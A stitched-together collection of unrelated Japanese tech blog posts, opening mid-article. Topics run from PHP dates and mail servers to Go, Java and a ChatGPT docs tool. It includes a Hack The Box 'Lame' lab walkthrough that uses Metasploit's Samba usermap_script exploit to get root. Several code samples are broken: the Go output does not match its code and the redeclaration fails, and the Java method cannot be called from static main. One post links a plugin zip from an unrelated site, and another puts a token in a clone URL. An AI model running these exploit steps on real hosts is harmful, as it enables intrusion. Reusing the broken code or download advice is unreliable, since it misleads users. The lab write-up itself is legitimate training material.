解像度を1280*720に設定するとフレームレートが10程度に低下しました。
640*360と低く設定することでフレームレートが30程度出るようになりました。

# 改善点
今回の手法は品質がよくありません。ぼかすだけだと髭が濃い場合には無意味だったり、ぼかし領域の境目に違和感があります。
今回の手法に加えて髭が生える領域を肌色に近づけるともっと良い結果になりそうです。

また、使用するデバイスをGPUに設定すると解像度をもっと上げられそうです。そのためには、MediaPipeのモデルをGPU向けにビルドする必要があるようです。

# 参考ページ
https://qiita.com/Asalato/items/696ffb48e154b65fb4d1

https://stackoverflow.com/questions/41172918/apply-gaussian-blur-on-a-polygon-using-opencv-and-python
PHP DateTimeクラスで今月はじめ～来月はじめ

# 備忘録


## 今月はじめ(月初)～来月はじめ（のタイムスタンプ）
```php
[
	(int)(new DateTime)->modify('first day of')->setTime(0,0,0)->format('U'),
	(int)(new DateTime)->modify('first day of next month')->setTime(0,0,0)->format('U'),
]
```

例だと配列に突っ込んでるけど、、、
これを変数に打ち込んで、例えば`$val[0]`とか`$val[1]`ってすれば取れる。

## `(int)` について
`format('U')` 自体は整数だが、DateTimeから返ってくる型が *String* のため *Int* に変換。
なお、Intのサイズは基本的には32bit +-付だが、ちゃんと知りたい場合は 下記の通り

> 整数のサイズはプラットフォームに依存しますが、 約 20 億 (32 ビット符号付) が一般的な値です。 64 ビットプラットフォームでの通常の最大値は、およそ 9*10^18 (900京) になります。 PHP は符号無し整数をサポートしていません。 整数のサイズは定数 PHP_INT_SIZE で、 整数の最大値は定数 PHP_INT_MAX で、 整数の最小値は定数 PHP_INT_MIN で決まります。

https://www.php.net/manual/ja/language.types.integer.php

## `modify` の文字について

| 文字 | 説明 |
| :-- | :--|
| `first day of` | 今月頭（1th Jun. 2023） |
| `first day of next month` | 来月頭（1th Jul. 2023） |

他にも色々行ける(

## `->setTime(0,0,0)` の文字について

左から順に、`Hour`，`Minute`，`Second`となっている。（`Second`は省略可能。省略時は`0`が入る）
4つ目のフィールドとして `Microsecond`が入る。使われているのかは知らない。。。省略したら`0`になる。

```php
public setTime(
    int $hour,
    int $minute,
    int $second = 0,
    int $microsecond = 0
): DateTime
```

https://www.php.net/manual/ja/datetime.settime.php

## `format` の文字について

| 文字 | 説明 |
| :-: | :--|
| `U` | Unix Epoch (1970 年 1 月 1 日 0 時 0 分 0 秒) からの秒数 |

https://www.php.net/manual/ja/datetime.format.php

https://www.php.net/manual/ja/class.datetime.php
コンポーネントの切り替えをdfmファイルの直接書き換えで対応する

## コンポーネントの切り替えをdfmファイルの定義の直接書き換えで対応する

BDEからFireDACコンポーエントの書き換えなどを行う場合、dfmファイルを直接書き換えることで作業の短縮を図ることができる。
ただ、危険なので必ずバックアップを取ってから行うほうが良い。失敗すると開けなくなります。

~~一応、試しているのは、Delphi2007までです。これ以降のバージョンについても可能だとは思いますが、Unicodeで保存された場合は、どうなるかはまだ試していません。~~
(UniCodeでも大丈夫です。最新のDelphi11でもOK)
まず、ｄｆｍファイルをテキスト形式で保存する必要がある。
テキスト形式かどうかは、フォーム上で、マウス右クリックで表示されるメニューで確認できる。
テキスト形式で保存された場合、テキストエディタで書き換え可能となるので、文字列変換機能などを使って、まとめて、クラスを変えてしまうことができます。
この時、__pasファイルは変更しておく必要がありません。IDEで開いて、保存するときに、IDEが自動で変換してくれます。__
事前に、変更していくのもよいかもしれませんが、この方法だと変換されるコンポーネントが確認できます。いちいちIDEが、"**を変換します"という感じで確認してくるので、ちょっと面倒な手順にはなりますが。
また、元のコンポーネントにあって、切り替え後のコンポーネントにない、プロパティやイベントは、削除されますがこれも、削除する旨の警告メッセージが出ます。

いきなり、実際に使っているプログラムを使うと、コンポーネントが多いので確認が難しいため、テスト用に、コンポーエントが少ない画面を作ってから行うほうが良いともいます。

dfmファイルを見ているとわかりますが、継承オブジェクトは、inherited。継承していないのは、objectで定義されています。
フォームも同様で、TFormから継承したFormを、TFormから直接継承するのではなく、間に継承Formを挟みたいときは、pasの書き換えとともに、dfmファイルの先頭行の、Formの定義の&quot;object&quot;を&quot;inherited&quot;に書き換えてあげれば可能です。
pasの TForm1 = class(TForm)の書き換えだけでは、ダメで、dfmファイルの変更も必要です。
私のメールサーバまとめ

# はじめに
実務でメールサーバー周りの設定をすることが増えてきたので、まとめてみました。

# メール送信

* SMTPサーバー
    * MTA(Mail Transfer Agent)
        * ネットワーク上でメールを転送・配送するソフトウェア
        * 代表的なもの
            * Postfix
            * sendmail
* 「MIME」とは
    * ASCII英数字以外の日本語や添付ファイルなどを使用できるようにした拡張仕様

## 送信元ドメイン認証技術

基本として押さえておくべきものは、SPF(Sender Policy Framework)とDKIM(DomainKeys Identified Mail)です。

* なぜ必要？
    * 迷惑メールやスパムメールの防止
    * 迷惑メールやスパムメールは、オープンリレーのメールサーバーから送られてくる
    * 「オープンリレー」とは、「どのような宛先にでも自由に送信することができるインターネット上に公開されたメールサーバー」のこと
* SPF
    * IPアドレスで認証する機能
    * ネームサーバーにSPFレコードを設定する
* DKIM
    * 電子署名を用いて認証する機能
    * ネームサーバーに電子署名の検証に必要な公開鍵情報を登録しておく

その他、「DMARC」という技術もあります。

### SPFとDKIM、どちらかだけ設定すればいいの？

どちらも必要です。SPFに加えてDKIMを設定しておくと、メールの改ざんがされていないかまで確認することができるからです。
詳しくは、[こちらのページ](https://www.kagoya.jp/howto/it-glossary/mail/dkim/)がなりすましメールの仕組みとともに、とても丁寧に解説してくれています。
ついでに、なりすましメールの知識としては、**「メールの送信元情報を提供する『エンベロープFROM』と『ヘッダFROM』のうち、『ヘッダFROM』を悪用することで受信者を騙そうとしている」** ということを押さえておけば良さそうです。

# メール受信

* POPサーバーやIMAPサーバー
* メール受信時のソフトウェア
    * Dovecot

POPサーバーとIMAPサーバーの違いは、下記の通り。( https://www.kagoya.jp/howto/it-glossary/mail/smtpserver/ から引用)

```
POPサーバーがメールサーバーから受信者のパソコンなどにメールをダウンロードさせるのに対して、IMAPサーバーはメールサーバーにメールを保存したまま読むことを可能にすることです。パソコンよりデータ保存容量が少ないスマートフォンなどでメールを読む際は、特にIMAPサーバーがよく利用されます。
```

## バウンスメール

送信先に受け取られなかったことを送信元に知らせるためのメールのことです。送信元に送られないこともあります。

* ハードバウンスとソフトバウンス
    * ハードバウンス
        * 恒久的なエラーによるメールの不達
    * ソフトバウンス
        * 一時的なエラーによるメールの不達

# 備忘録

実務でPostfixの配送経路変更を行ったので、メモ。

1. /etc/postfix/transportの編集
    1. 「example.com smtp:[test.com]:25」の意味は、「『example.com』ドメイン宛のメールは、smtpプロトコルにて『test.comの25番ポートに転送する』」という意味
2. 変更を反映させるために「postmap /etc/postfix/transport」
3. postmapコマンドを使ってhash化したdbを作成している。stringsコマンドを使い、transport.dbの内容を確認できる
3. postfixを再起動「systemctl restart postfix」
3. example.comであるアドレスにメールを送信
3. postfixのログを確認する
    3. https://www.depthbomb.net/?p=3342

# 参考

* [SMTPサーバーとは？IMAPやPOPとの違い＆基本の設定方法](https://www.kagoya.jp/howto/it-glossary/mail/smtpserver/)
* [正しいSMTPポートの選び方（ポート番号25、587、465、2525)](https://kinsta.com/jp/blog/smtp-port/)
* [Postfixとは？メールサーバー構築方法と基本設定](https://www.kagoya.jp/howto/it-glossary/mail/postfix/)
* [【#67 CCNA CCNP ネットワークスペシャリスト対策】SPF DKIMってなんだ？](https://youtu.be/3iZ4Sjg9LsY)
* [メール転送エージェント (MTA)とは](https://wa3.i-3-i.info/word11120.html)
* [【図解】初心者にも分かるメールの仕組み～SMTP/POP/IMAPの違い, リレーの構成, 用語について～](https://milestone-of-se.nesuke.com/nw-basic/grasp-nw/mail/)
* [送信ドメイン認証（SPF / DKIM / DMARC）の仕組みと、なりすましメール対策への活用法を徹底解説](https://ent.iij.ad.jp/articles/172/)
* [MTAとは？ メール転送エージェントの概要と機能、代表的な製品について解説](https://baremail.jp/blog/2021/11/30/1746/)
* [「エンベロープFrom」と「ヘッダFrom」の違いとは？
](https://baremail.jp/blog/2021/05/25/1377/#:~:text=%E3%82%A8%E3%83%B3%E3%83%99%E3%83%AD%E3%83%BC%E3%83%97From%EF%BC%88Envelope%2DFrom%EF%BC%89,%E3%81%95%E3%82%8C%E3%82%8B%E3%81%93%E3%81%A8%E3%81%AF%E3%81%82%E3%82%8A%E3%81%BE%E3%81%9B%E3%82%93%E3%80%82)
* [ハードバウンス、ソフトバウンスって何が違う？](https://www.lucidas.co.jp/differences_between_hard_and_soft_bounce.html)
*[ 「MXレコード【DNSレコード】とは｜「分かりそう」で「分からない」でも「分かった」気になれるIT用語辞典」](https://wa3.i-3-i.info/word12287.html)
cscの作法 その359

# 概要
cscの作法、調べてみた。
練習問題、やってみた。

# 練習問題
sqliteでCheckedListBoxに流し込め。

# 写真

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/18104/9a9c5333-f9fd-a75e-e542-559c94f0c47b.png)

# サンプルコード

```

using System;
using System.Text;
using System.IO;
using System.Drawing;
using System.Windows.Forms;
using System.Data;
using System.Data.Common;
using System.Transactions;
using System.Data.SQLite;

namespace App
{
	public partial class Form1: Form {
		Label label;
		Button button1;
		CheckedListBox checkedListBox1;
		public Form1() {
			Text = "combo test";
			ClientSize = new Size(400, 300);
			label = new Label();
			label.Text = "koko";
			label.Font = new Font("Geneva", 12, FontStyle.Regular);
			label.Height = 30;
			label.Width = 190;
			label.Left = 50;
			label.Top = 130;
			this.Controls.Add(label);
			button1 = new Button();
			button1.Location = new Point(50, 160);
			button1.Text = "test";
			button1.Click += new EventHandler(button1_Click);
			this.Controls.Add(button1);
			SQLiteConnection conn = new SQLiteConnection("Data Source=db0.sqlite;");
			conn.Open();
			SQLiteCommand command = conn.CreateCommand();
			command.CommandText = "SELECT * FROM fruit ORDER BY id ASC";
			SQLiteDataAdapter dataAdapter = new SQLiteDataAdapter(command);
			DataTable dt = new DataTable();
			dataAdapter.Fill(dt);
			checkedListBox1 = new CheckedListBox();
			checkedListBox1.CheckOnClick = true;
			checkedListBox1.Location = new Point(50, 50);
			checkedListBox1.Size = new Size(300, 70);
			checkedListBox1.TabIndex = 1;
			checkedListBox1.MultiColumn = true;
			this.Controls.Add(checkedListBox1);
			checkedListBox1.ItemCheck += new ItemCheckEventHandler(checkedListBox1_ItemCheck);
			checkedListBox1.DataSource = dt;
			checkedListBox1.DisplayMember = "name";
			checkedListBox1.ValueMember = "id";
			conn.Close();
		}
		private void checkedListBox1_ItemCheck(Object sender, ItemCheckEventArgs e) {
			System.Text.StringBuilder messageBoxCS = new System.Text.StringBuilder();
			messageBoxCS.AppendFormat("{0} = {1}", "Index", e.Index);
			messageBoxCS.AppendLine();
			messageBoxCS.AppendFormat("{0} = {1}", "NewValue", e.NewValue);
			messageBoxCS.AppendLine();
			messageBoxCS.AppendFormat("{0} = {1}", "CurrentValue", e.CurrentValue);
			messageBoxCS.AppendLine();
			MessageBox.Show(messageBoxCS.ToString(), "ItemCheck Event");
		}
		private void button1_Click(object sender, EventArgs e) {
			string message = "";
			foreach (object item in checkedListBox1.CheckedItems)
			{
				DataRowView row = item as DataRowView;
				message += "id: " + row["id"];
				message += Environment.NewLine;
				message += "name: " + row["name"];
				message += Environment.NewLine;
				message += Environment.NewLine;
			}
			MessageBox.Show(message);
		}
		[STAThread]
		public static void Main() {
			Application.Run(new Form1());
		}
	}
}





```

以上。
【Hack The Box】Lame_日本語Walkthrough

# 概要
Hack The Box（以下HTB）のRetiredマシン"Lame"のwriteupです。

# 環境
HTBの課金環境のPwnboxで実行しています。

# Walkthrough
## 1. nmapによる起動サービスの確認
ターミナルを起動し、nmapコマンドで稼働しているサービスを確認します。
```bash
nmap -Pn -T4 -sV <ターゲットのIPアドレス>
```
![スクリーンショット 2023-06-10 144407.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/fd20e779-6c92-68cc-1f3e-6feb8fe8eb8c.png)

* nmapのコマンドの意味
    * -Pn: 事前のping送信をしない
    * -T4: スキャン速度の指定。0~5で数字が高いほど早いがエラーが出やすい
    * -sV: 動作しているサービスのバージョンを確認

* 稼働していることが確認できたサービス
    * vsftpd 2.3.4
    * OpenSSH
    * Samba


## 2. msfconsoleによるexploit
msfconsole: Metasploit Frameworkのコンソールで動かすやつ。簡単操作でexploitできる

### 2.1 起動
ターミナルから
```bash
msfconsole
```
で起動
![スクリーンショット 2023-06-10 150716.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/bc3e2064-34d5-583d-4912-9a044699c5cc.png)

### 2.2 脆弱性の検索

#### 2.2.1 vsftpdの検索
```
search vsftpd
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/45fc92f9-2c73-454c-80f4-5e564719a781.png)

* Exploit Databaseで確認してみる
    https://www.exploit-db.com/exploits/17491
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/ca019575-8fc5-3ead-9c6b-2c7921ebece2.png)
>This module exploits a malicious backdoor that was added to the	VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

このバックドアはもう削除されているっぽい

#### 2.2.2 sambaの検索
sambaとは…
linuxとwindowsの間でファイル共有とかするために使うソフトウェア

```
search samba
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/35fd23b8-12dd-318e-52ef-e36f34c03864.png)
すこいいっぱい出てきた・・・

* sambaのバージョンを確認したいのでsambaに接続してみる
ターミナルをもう一つ起動して
    ```bash
    smbmap -H <ターゲットのIPアドレス>
    ```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/594ea0c9-4a1f-db92-600a-97524037cb62.png)
バージョンは3.0.20っぽい

* もう一回search
    msfconsoleに戻って
    ```
    search samba 3.0.30
    ```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/8d480243-893e-b0a8-fcff-75093d1f344d.png)
1つに絞れたのてこれで行く

### 2.3 exploitコードのセット

```
use exploit/multi/samba/usermap_script
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/219e9527-68c2-4d32-932c-cf16f8d53447.png)

```
show options
```
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/b56eddff-8425-a85c-1785-7b94abaee5a9.png)
RHOSTSとRHOSTだけ設定すればいいかな

```
set RHOSTS <ターゲットのIPアドレス>

set LHOST <攻撃マシンのIPアドレス>
```

![スクリーンショット 2023-06-11 170331.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/b1f8d354-2282-6219-98ef-10588decc9fb.png)

### 2.4 実行
```
run
```

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3475030/6760dd17-1bc0-51ee-0762-c97268367e27.png)

rootユーザでアクセスできてる。  
flagの場所も分かったのであとはcatで表示すればOK
[Python] 三項演算子の表記が腑に落ちなかったが英語で読めばすっきり理解できた話(結論ファースト、MECE)

## 背景

　以下のコードを見たとき、すぐに処理が分からなかった上に、`p1`が`True`のときに`0`が割り当てられると誤読した。

```python
val1 = p1.val if p1 else 0
```

### なぜ誤読したか?

- 三項演算子は普段一切使用することなく、複数行のif else構文で記述していたから

    等価な複数行の`if-else`表現では、`if p1`が先行している

    ```python
    if p1:
        val1 = p1.val
    else:
        val1 = 0
    ```

### なぜ三項演算子を普段使っていなかったか?

　"三項演算子は可読性に問題があることが多いため使用するべきでない"という言説を学習初期に観測していたから。

## 誤読しないための解決策

- 三項演算子を以下の表記で暗記する

    ```python
    result = value_if_true if condition else value_if_false
    ```

- 英語で読み上げる
    - 英語話者が定義した形式であるため、彼らの気持ちに寄り添って、思考プロセスに共感する
  
        ```python
        x = 10
        y = 20
        # the variable max_value
        # is assigned
        # the value of x 
        # if x is greater than y;
        # otherwise,
        # it is assigned the value of y. 
        max_value = x if x > y else y
        ```

        つまり、

        1. 結論ファースト: `max_value`とは`x`なんだ、と主張する。
        2. 条件: まあ`x > y`の時だけどね、と続ける。
        3. MECE: 違ったら`y`ね、として、MECE(もれなくダブりなく)を満足する構造で締めくくる

        という思考プロセス、論理的構造が、英語話者の頭にあるのだ。

## 所感

　日本語のみで考えていたら、三項演算子の表記は丸暗記するのみで、何となく気持ち悪い感覚が心に残ったままでいたと思う。
英語で読み上げて、彼らの表現したい気持ち、思考をたどってみれば、確かにこの表記で定義するだろうなあと腑に落ちたのであった。
FlywheelでWP Migrationのインポート時に413Request Entity Too Largeが出る時の対処法

備忘録です。変更点は3つ

## nginxの設定変更

```conf/nginx/nginx.conf.hbs
client_max_body_size 10G;
```

## php.iniの設定変更

```conf/php/php.ini.hbs
post_max_size = 4G
upload_max_filesize = 4G
```

## All-in-One WP Migration
最新ではなく、バージョン6.68を使う
All-in-One WP Migration 6.68を利用すると、無料でインポート容量を上げることが可能です。
[all-in-one-wp-migration.6.68](https://www.caliberelectronics.com/wp-content/uploads/2022/02/all-in-one-wp-migration.6.68.zip)

これでアップロードできるはずです。
GO言語のコロン・イコール「:=」便利すぎ。

# 読んで欲しい人
・Go言語に詳しくて教えてくださる方。

# := は型推論っていう名前らしい。
Go言語は、var で変数名を宣言したり、☆データ型を指定しなくても、変数を使える。
型推論では、はじめて変数を使うとき「:=」(コロン・イコール)でデータを代入し、
代入するデータの種類からデータ型を推測します。(推測できるのすごい。)

☆データ型の具体例
・string型・・・文字や文字列を扱うとき
・int型・・・数値を扱うとき

# := (型推論)を使うときのコード
```go
package main

import "fmt"

func main() {
	mojiretu := "Hello world"
	fmt.Println(mojiretu)

	number := 100
	fmt.Println(number)
}
```
<b>実行結果</b>
Hello world
130

# := (型推論)を使わないときのコード
```go
package main

import "fmt"

func main() {
 	var mojiretu string
	mojiretu := "Hello world"
	fmt.Println(mojiretu)
	
	var number int
	number = 100
	fmt.Println(number + 30)
}
```
<b>実行結果</b>
Hello world
130
VAEを理解する

# 初めに
最近話題の生成AIであるStable diffusionを理解するために、古くから存在する生成AIのVAEを理解しようと思い、本記事を書きました。もう既に多くの参考資料等が出回っているため、自分の理解のための備忘録レベルのものになっています。

# Variational Autoencoder(VAE)とは？
下記参考にさせて頂きました！
図が豊富でとても分かりやすかったです。
https://qiita.com/kenmatsu4/items/b029d697e9995d93aa24

Variational Autoencoder(VAE)は、その名にある通り「Autoencoder」の一種です。
まずは簡単に「Autoencoder」について説明します。

# Autoencoder
下図が簡単なモデル構成です。
![スクリーンショット 2023-06-11 15.08.46.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3469775/68c7d423-da1e-9a32-2d5e-fc29f62c87e9.png)
画像を入力として与えて、エンコーダーで特徴を抽出(次元削減)します。
抽出された特徴を「Z」とすると、その「Z」を今度はデコーダーに入力して入力と同等の画像を生成するように学習します。
つまりは、デコーダーの出力と入力画像の差分を損失として学習することで、抽出した特徴「Z」から元の画像を生成するようにデコーダーは学習していきます。

# Variational Autoencoder(VAE)
では、「VAE」は「Autoencoder」と何が違うのでしょうか？
下図が、「VAE」のモデル構成です。
![スクリーンショット 2023-06-11 15.26.41.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3469775/827ca5de-60d1-8f7e-c3cc-f266247bb503.png)
特徴「Z」を抽出するところまでは「Autoencoder」と同じですが、その特徴を用いて確率分布(一般的なのはガウス分布みたいですね。)から新たな特徴「Z'」を出力しています。この「Z'」を用いて、「Autoencoder」と同様にデコーダーの処理を実施します。
具体的には、抽出した特徴「Z」を「平均」と「分散」に変換し、この2変数を用いてガウス分布(図中の確率分布)からのサンプリングが行われます。
こうすることで、CNNで抽出した特徴を確率分布に変換することが可能です。

# VAEの損失関数
VAEには特筆すべき点がもう一つあり、それは損失関数にあります。
損失関数は、入力と出力の誤差に加えて、「KLダイバージェンス」を用いています。「KLダイバージェンス」は簡単に言えば、二つの確率分布の差分を測る指標です。
これを用いることで、「Z'」の確率分布とガウス分布の差分を測ることができ、「Z'」の確率分布をガウス分布に近づけるようにペナルティを与えることができます。

# VAEのイメージ
VAEの画像生成のイメージですが、学習する画像群がある分布(正規分布)に属していると仮定します。VAEの例では、人の顔画像を学習して生成する例が多いですが、これは人の顔がある確率分布に属しているから学習しやすいと考えられます。
人の顔は、輪郭と髪の毛、目や鼻、口などのパーツによって構成されています。そして、それぞれのパーツの相互間の位置は、全員ほぼ同等と考えられます。そのため、確率分布上のあるパラメータによって、パーツの形状や大きさ、色などが変わるのだと思います。
記事(http://cedro3.com/ai/keras-vae-celeba/) が分かり易いですが、「Z'」を2次元空間上にプロットした際の生成される画像を対応付けた例を出力してくれています。
これを見ると、パラメーターによって顔の向きや髪、目の形状などが連続的に変化していることが分かります。

# VAEで学習/生成できる画像
色々実験したわけではないですが、恐らく特定の基準(顔画像であれば、画像内には顔のみかつほぼ正面を向いている)を満たすデータセットでなくては学習が難しいと思われます。
例えば、仮に猫の画像を生成したい場合、通常の画像認識であれば画像中に猫が写っていれば良いです。
しかし、VAEの場合はそうはいかず、例えば猫の顔のみの画像にトリミングする、全体を学習させたい場合は、地面に4足で立っている画像のみを用いるなど、ある程度基準を設ける必要があると考えております。(データセット選定が大変なため検証はできていないですが、上記関係なく物体認識と同様のデータセットで特徴学習できるならば凄いと思います！)

# まとめ
VAEは
1.CNNで抽出した特徴をある確率分布に変換することで、特徴を連続的な変数としている
2.確率分布として学習するために、損失関数に「KLダイバージェンス」を用いている
上記二つが特筆すべき内容と思います。

# 終わりに
古くからある内容のためあまり参考にならないかもしれませんが、自分の備忘録としてまとめてみました。最近の生成AIは顔のみではなく、体全体を含めて高精度で生成できているため、モデルの構造や学習過程が気になりますね。そちらも理解できれば、自分なりにまとめてみようと思います。
エラー：deviseログアウトできない問題 Couldn't find User with 'id'=sign_out

# 内容
ログアウトリンクからログアウトすると画像のエラー
![スクリーンショット 2023-06-09 22 21 36](https://github.com/yuuuba/p_activestorage2/assets/93296679/090f1c5b-b83c-4938-94b0-2551c75c9b1f)
parameterがおかしい

# 解決まで
routes指定、
```routs.rb
  devise_for :users
  devise_scope :user do
    get '/users/sign_out' => 'devise/sessions#destroy'
  end
```
ログアウト、ログイン機能するようになりました。
Githubのリポジトリをユーザー名とアクセストークンでCloneする方法

すぐ忘れるので、備忘録として残しておきます。
~~~
GITHUB_USER=ユーザー名
GITHUB_ACCESS_TOKEN=アクセストークン
git clone https://${GITHUB_USER}:${GITHUB_ACCESS_TOKEN}@github.com/${GITHUB_USER}/リポジトリ名.git
~~~
WSL(Ubuntu20.04.6LTS)でのGraalVMのセットアップ

インストール可能なパッケージの「一覧」を更新し、バージョンアップする
~~~
sudo apt update
sudo apt upgrade
~~~

GraalVMをダウンロード・解凍する。
~~~
cd ~
wget https://github.com/graalvm/graalvm-ce-builds/releases/download/vm-22.3.2/graalvm-ce-java17-linux-amd64-22.3.2.tar.gz
tar -xzf graalvm-ce-java17-linux-amd64-22.3.2.tar.gz
~~~
ダウンロードしたいバージョンのURLは[GitHub](https://github.com/graalvm/graalvm-ce-builds/releases/)から調べる。

解凍したディレクトリにPATHを通す
~~~
nano .bashrc
~~~

.bashrcの末尾に以下を追加
~~~
export PATH=$HOME/graalvm-ce-java17-22.3.2/bin:$PATH
export JAVA_HOME=$HOME/graalvm-ce-java17-22.3.2
~~~

PATHの追加を反映
~~~
source .bashrc
~~~

「開発パッケージ一式」をインストール
~~~
sudo apt install build-essential
sudo apt install zlib1g-dev
gu install native-image
~~~
ChatGPTでコードドキュメントを自動生成するPythonアプリケーション作ってみた

# 概要

ドキュメント書くの面倒くさいですよね。記述したコードのサブルーチンや関数、モジュールにドキュメントを書く意義はわかりますが、とても面倒な作業であることには変わりません。そんな面倒くさがり屋のためにChatGPTでドキュメントを自動生成するためのPythonアプリケーション、[AutoDog](https://github.com/tishikawaz/autodog)を作りました。

# 対応言語

以下の言語に対応しています。

- Fortran
- Python

このアプリケーションを作ろうと思った発端が、私が開発しているFortranの流体シミュレーションフレームワークにあるため、Fortranへのドキュメント生成にも対応しています。

# 使い方

AutoDogはPython 3.9以上で動作します。依存ライブラリはopenaiだけです。  
将来変更される可能性が高いですが、今のところ以下のコードを書けばyour_code.f90に記述されたすべての関数やクラスに対しドキュメントを生成してくれます。

```python:example.py
import autodog

code = autodog.code('your_code.f90')
engine = autodog.engine(api_key='YOUR-API-KEY')

# insert code documents to a function, class, module, ...
code.insert_docs(engine)

# overwrite your_code.f90
code.write()
```

Pythonコードに対してドキュメント生成したい場合は、以下のようにautodog.code(…)でPythonファイルを指定すれば大丈夫です。

```python
code = autodog.code('your_code.py')
```

なお、デフォルトパラメータではChatGPTの'gpt-3.5-turbo'にてdocstring（のような）ドキュメントを生成します。また、OpenAIのAPI利用にはAPI Keyの発行が必須です（有料）。API Keyを[OpenAIのサイト](https://platform.openai.com/account/api-keys)で生成し、autodog.engine(api_key='YOUR-API-KEY')で指定してください。

# 作例

- [Fortranコード](https://github.com/tishikawaz/autodog/blob/main/test/fortran/out.f90)
- [Pythonコード](https://github.com/tishikawaz/autodog/blob/main/test/python/out.py)

# レシピ

## ChatGPTのモデルを指定したい

autodog.engine(…)のmodel引数で以下のように指定できます。

```python
engine = autodog.engine(api_key='YOUR-API-KEY', model='gpt-4')
```

指定可能なモデルはOpenAI API Referebceの[Model endpoint compatibility](https://platform.openai.com/docs/models/model-endpoint-compatibility)より確認できます。End pointは/v1/chat/completionsのみ対応しています。

## docstringぽくないドキュメントを生成したい

Fortranコードのドキュメント生成時に発生する需要かと思います。以下のようにautodog.engine(…)のdoc_type引数である程度制御可能です。

```python
engine = autodog.engine(api_key='YOUR-API-KEY', doc_type='document')
```

デフォルトではdoc_type='docstring'となっており、Fortranでもdocstringのようなドキュメントが生成されます。

## 既存のドキュメントを上書きしたい

```python
code.insert_docs(engine, overwrite=True)
```

## 他のファイルに出力したい

```python
code.write(filepath='other_file.f90')
```

# ドキュメント生成処理解説

AutoDogでは以下のようにドキュメント生成を行います。

1. 入力されたコードをパースし、[抽象構造木(AST)](https://ja.wikipedia.org/wiki/%E6%8A%BD%E8%B1%A1%E6%A7%8B%E6%96%87%E6%9C%A8)を作成
2. ASTの各関数、クラス、モジュール等ノードを取り出し、各ノードごとにOpenAI APIへ投げる
3. APIレスポンスからドキュメントを抽出し、各ノードの適切な位置に挿入
4. ASTをアンパースし、ファイルに書き込み

Pythonの場合、標準ライブラリーに[ASTモジュール](https://docs.python.org/ja/3/library/ast.html)があるためASTは簡単に作れます。Fortranの場合は[fparse](https://fparser.readthedocs.io/en/latest/index.html)や[lfortran](https://docs.lfortran.org/en/ast_and_asr/#)を使えば生成できますが、今回の環境・目的では使用しにくいと感じたためフルスクラッチしています。（使い方わからんかった）  
また、ChatGPTからのレスポンスにドキュメント以外の情報があると面倒なので、ドキュメントだけを返答するようプロンプトを工夫しています。

# 課題

## 関数やクラスによって生成されるドキュメントのフォーマットがバラバラ

特にFortranのコードで起こる問題ですが、docstringぽく生成されたり、よく見るFortran屋さんのドキュメントらしく生成されたりとフォーマットがバラバラです。この問題はautodog.engine(api_key='YOUR-API-KEY', doc_type='document')としても発生します。  
プロンプトのやり方を改善する必要を感じています。

## 生成されたコメントの整形

ChatGPTが生成するドキュメントは1文の途中で改行することがないので、AutoDog側で整形するようにしていますが、整形結果が美感に少し反しています。こちらも要修正項目だと感じています。

# 最後に

ChatGPTでドキュメントを自動生成するためのPythonアプリケーション、[AutoDog](https://github.com/tishikawaz/autodog)を作ってみました。要改善な項目も多く、ろくにテストもしていないので、今後も修正を続けたいと思っています。興味がありましたら使っていただけると幸いです。
【Java】文字列の並び替えを検査する方法

# はじめに
与えられた2つの文字列が互いに並び替えの関係にあるかどうかを判定するアルゴリズムの紹介です。具体的には、対象Aと対象Bの各々の文字列において、各々の文字列は文字の順序が入れ替わっているだけなのかを判定するアルゴリズムを学習したのでアウトプットします。

## 例題
```java
trueの場合
A = ABC123
B = A32BC1

falseの場合
A = ABC123
B = D32BC1
```
## アルゴリズムの概要
- 文字列の長さが異なる場合は並び替えの関係になりえないため、falseを返します。
- 文字列を構成する各文字の出現回数をカウントします。
- 2つの文字列のカウント結果を比較し、異なる文字の出現回数があればfalseを返します。
- 全ての文字の出現回数が一致していれば、文字列は並び替えの関係にあると判定し、trueを返します。

## 実装したコード
```java


public class Task {

    public static void main(String[] args) {
        String str1 = "waterbottle";
        String str2 = "erbottlewat";
        System.out.println(isRotation(str1, str2));
    }

    public static boolean isSubstring(String s1, String s2) {
        return s1.matches(".*" + s2 + ".*$");
    }

    /* ここにisRotationメソッドを定義 */
    public boolean isRotation(String s, String t) {
        if (s.length() != t.length()) {
            //　文字列の長さが異なる場合、並び替えの関係ではない
            return false;
        }

        // ASCII文字の範囲(0から127)の要素数を持つ配列を作成
        int[] count = new int[128];

        // 文字列sの各文字の出現回数をカウント
        for (int i = 0; i < s.length(); i++) {
            // 出現した文字の数をcharAtメソッドで1文字ずつ取得しカウントする

            char ch = s.charAt(i);
            count[ch]++;
        }

        // 文字列tの各文字の出現回数をカウントし、出現回数を減算する
        for (int i = 0; i < t.length(); i++) {
            char ch = t.charAt(i);
            count[ch]--;
            if (count[ch] < 0) {
                // 出現回数がマイナスになった場合、文字列tにsに存在しない文字が含まれるためfalseを返す
                return false;
            }
        }

        // すべての文字の出現回数が0であれば、文字列sとtは並び替えの関係にあると判定する
        return true;
    }
}

```
## まとめ

今回はJavaで文字列の並び替えを検査する方法について解説しました。文字列の並び替えは、プログラミングでよく見られる基礎的な問題かと思います。もし必要であれば参考になれば幸いです
UiPath初心者向け：実務で使えるクリックアクティビティが機能しない場合ついて(リトライスコープ)

# 「クリック」アクティビティが機能しないということありませんか？
**テストしているときに、「クリック」アクティビティでエラーになってしまう。 
